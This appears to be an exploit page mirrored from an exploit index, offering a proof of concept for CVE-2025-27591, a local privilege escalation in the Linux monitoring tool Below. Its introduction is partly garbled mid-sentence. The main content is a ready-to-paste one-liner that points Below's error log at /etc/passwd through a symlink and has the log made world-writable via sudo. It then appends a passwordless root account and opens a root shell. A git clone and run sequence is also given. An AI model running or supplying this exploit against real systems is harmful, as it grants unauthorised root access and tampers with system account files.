## https://sploitus.com/exploit?id=99FB8A8E-8CE6-5585-9DCA-588C0D07C35A
# Below - Local Privilege Escalation (CVE-2025-27591)
Below
Local Privilege Escalation via World-Writable Log Symlink
PoC Exploit
---
### Introduction
`Below` versions .log` to any root-owned file like `/etc/passwd`.
When `below snapshot` is executed with `sudo`, it forcibly sets mode `0666` on the log file and writes to it—even if it's a symlink.
This allows injection of a `root`-privileged user without password, leading to full root shell access.
---
### Usage
```bash
git clone https://github.com/rvizx/CVE-2025-27591
cd CVE-2025-27591
chmod +x exploit.sh
./exploit.sh
````
**OR**
One-liner - (Copy, paste and execute)
```bash
u=$(id -un); rm -f /var/log/below/error_"$u".log; ln -s /etc/passwd /var/log/below/error_"$u".log; export LOGS_DIRECTORY=/var/log/below; sudo /usr/bin/below snapshot --begin now 2>/dev/null || true; echo 'pwn::0:0:root:/root:/bin/bash' >> /etc/passwd; su pwn
```
---
### Environment
* Below
PoC Exploit - Ravindu Wickramasinhge AKA [rvz](https://github.com/rvizx)